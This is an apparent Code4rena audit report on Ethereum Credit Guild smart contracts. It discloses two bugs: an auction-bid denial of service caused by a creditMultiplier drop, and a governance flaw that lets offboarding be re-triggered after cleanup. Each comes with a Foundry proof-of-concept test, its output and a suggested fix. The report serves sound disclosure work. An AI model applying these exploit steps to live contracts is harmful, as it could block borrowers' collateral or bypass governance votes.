Ethereum Credit Guild - xeros's results

Lines of code

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/loan/LendingTerm.sol#L765

Vulnerability details

Description

When the bid function is called to participate in the auction, the onBid function is called internally. Within the onBid function, there is a routine for calculating pnl. If you look at the source code below, if creditFromBidder is less than principal, collateralToBorrower should be zero.

function onBid(
        bytes32 loanId,
        address bidder,
        uint256 collateralToBorrower,
        uint256 collateralToBidder,
        uint256 creditFromBidder
) external {

// omitted

// compute pnl
    uint256 creditMultiplier = ProfitManager(refs.profitManager)
        .creditMultiplier();
    uint256 borrowAmount = loans[loanId].borrowAmount;
    uint256 principal = (borrowAmount *
        loans[loanId].borrowCreditMultiplier) / creditMultiplier;
    int256 pnl;
    uint256 interest;
    if (creditFromBidder >= principal) {
        interest = creditFromBidder - principal;
        pnl = int256(interest);
    } else {
        pnl = int256(creditFromBidder) - int256(principal);
        principal = creditFromBidder;
        require(
            collateralToBorrower == 0,
            "LendingTerm: invalid collateral movement"
        );
    }

// omitted
}

The collateralToBorrower variable becomes non-zero only during phase 1 of the auction. If the creditMultiplier value decreases during phase 1, creditFromBidder may become less than the principal, while collateralToBorrower remains non-zero. This scenario leads to a potential Denial of Service (DoS) issue. In such situation, even though the bidder exist, borrower won’t be able to receive their collateral.

PoC

Add this function to AuctionHouse.t.sol.

function testFirstPhase() public {
    // Prepare borrower collateral
    uint256 borrowAmount = 20_000e18;
    uint256 collateralAmount = 15e18;
    collateral.mint(address(borrower), collateralAmount);

    // Borrow
    vm.startPrank(borrower);
    collateral.approve(address(term), collateralAmount);
    bytes32 loanId = term.borrow(borrowAmount, collateralAmount);
    vm.stopPrank();

    // Interest accrued
    vm.warp(block.timestamp + 13);
    vm.roll(block.number + 1);

    // Call
    guild.removeGauge(address(term));
    vm.startPrank(caller);
    term.call(loanId);
    vm.stopPrank();

    // Half of phase1 reached
    uint256 PHASE_1_DURATION = auctionHouse.midPoint();
    vm.roll(block.number + 1);
    vm.warp(block.timestamp + PHASE_1_DURATION / 2);

    // Prepare bidder credit
    (, uint256 creditAsked) = auctionHouse.getBidDetail(loanId);
    credit.mint(bidder, creditAsked);

    // Prepare credit to mark loss. This brings down the creditMultiplier
    vm.prank(governor);
    core.grantRole(CoreRoles.GAUGE_PNL_NOTIFIER, address(this));
    credit.mint(address(0xaaaa), 1000e18);
    profitManager.notifyPnL(address(this), -1000e18);

    // Bid
    vm.startPrank(bidder);
    credit.approve(address(term), creditAsked);
    auctionHouse.bid(loanId);
    vm.stopPrank();
}

Result

xeros@vm:~/workdir/web3/code4rena/2023-12-ethereumcreditguild$ forge test --mt testFirstPhase
[⠒] Compiling...
[⠊] Compiling 25 files with 0.8.13
[⠰] Solc 0.8.13 finished in 26.13s
Compiler run successful!

Running 1 test for test/unit/loan/AuctionHouse.t.sol:AuctionHouseUnitTest
[FAIL. Reason: revert: LendingTerm: invalid collateral movement] testFirstPhase() (gas: 957357)
Test result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 4.08ms
 
Ran 1 test suites: 0 tests passed, 1 failed, 0 skipped (1 total tests)

Failing tests:
Encountered 1 failing test in test/unit/loan/AuctionHouse.t.sol:AuctionHouseUnitTest
[FAIL. Reason: revert: LendingTerm: invalid collateral movement] testFirstPhase() (gas: 957357)

Encountered a total of 1 failing tests, 0 tests succeeded

Recommended Mitigation Steps

Remove the require statement that checks whether collateralToBorrower is 0.

Assessed type

DoS

Lines of code

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/governance/LendingTermOffboarding.sol#L139

Vulnerability details

Description

Removal of a lending term consist of 4 procedures.

1. proposeOffboard is called to create a poll.
2. Any GUILD holder can poll for the removal of a lending term by calling supportOffboard. Here if enough vote(weight) has been collected, canOffboard[term] is set to true.
3. offboard is called and lending term is removed from gauge.
4. cleanup is called to clear the roles of a lending term and set canOffboard[term] to false.

However any GUILD holder can still call supportOffboard after cleanup is called as there aren’t any checks. As poll already passed the quorum, canOffboard[term] is set back to true.

function supportOffboard(
        uint256 snapshotBlock,
        address term
    ) external whenNotPaused {
        require(
            block.number <= snapshotBlock + POLL_DURATION_BLOCKS,
            "LendingTermOffboarding: poll expired"
        );
        uint256 _weight = polls[snapshotBlock][term];
        require(_weight != 0, "LendingTermOffboarding: poll not found");
        uint256 userWeight = GuildToken(guildToken).getPastVotes(
            msg.sender,
            snapshotBlock
        );
        require(userWeight != 0, "LendingTermOffboarding: zero weight");
        require(
            userPollVotes[msg.sender][snapshotBlock][term] == 0,
            "LendingTermOffboarding: already voted"
        );

        userPollVotes[msg.sender][snapshotBlock][term] = userWeight;
        polls[snapshotBlock][term] = _weight + userWeight;
        if (_weight + userWeight >= quorum) {
            canOffboard[term] = true;
        }
        emit OffboardSupport(
            block.timestamp,
            term,
            snapshotBlock,
            msg.sender,
            userWeight
        );
    }

Later if this lending term is added back to gauge for use, it can go offboard without the removal procedure described above as canOffboard[term] is already set to true.

PoC

Add this function to LendingTermOffboarding.t.sol.

function testWrongCleanup() public {
    guild.mint(bob, _QUORUM);
    guild.mint(carol, 1);
    uint256 snapshotBlock = block.number;

    vm.prank(carol);
    guild.delegate(carol);

    vm.startPrank(bob);
    guild.delegate(bob);
    offboarder.proposeOffboard(address(term));

    vm.roll(block.number + 1);
    vm.warp(block.timestamp + 13);

    offboarder.supportOffboard(snapshotBlock, address(term));
    offboarder.offboard(address(term));
    vm.stopPrank();

    
    vm.roll(block.number + 1);
    vm.warp(block.timestamp + 13);
    uint256 debt = term.getLoanDebt(aliceLoanId);
    credit.mint(alice, debt - aliceLoanSize);

    vm.startPrank(alice);
    credit.approve(address(term), debt);
    term.repay(aliceLoanId);
    vm.stopPrank();

    offboarder.cleanup(address(term));
    
    vm.roll(block.number + 1);
    vm.warp(block.timestamp + 13);

    // Carol calls supportOffboard with deprecated gauge
    vm.prank(carol);
    offboarder.supportOffboard(snapshotBlock, address(term));

    // canOffboard becomes true
    assertEq(offboarder.canOffboard(address(term)), true);

    // LendingTerm is added to gauge again
    guild.addGauge(1, address(term));

    // As canOffboard is true, LendingTerm can go offboard without proposal or support
    vm.prank(carol);
    offboarder.offboard(address(term));
}

Result

xeros@vm:~/workdir/web3/code4rena/2023-12-ethereumcreditguild$ forge test --mt testWrongCleanup
[⠢] Compiling...
[⠰] Compiling 1 files with 0.8.13
[⠒] Solc 0.8.13 finished in 4.16s
Compiler run successful!

Running 1 test for test/unit/governance/LendingTermOffboarding.t.sol:LendingTermOffboardingUnitTest
[PASS] testWrongCleanup() (gas: 946836)
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.21ms
 
Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

Recommeded Mitigation Steps

Block users from calling supportOffboard if lending term is not an active term.

Assessed type

Invalid Validation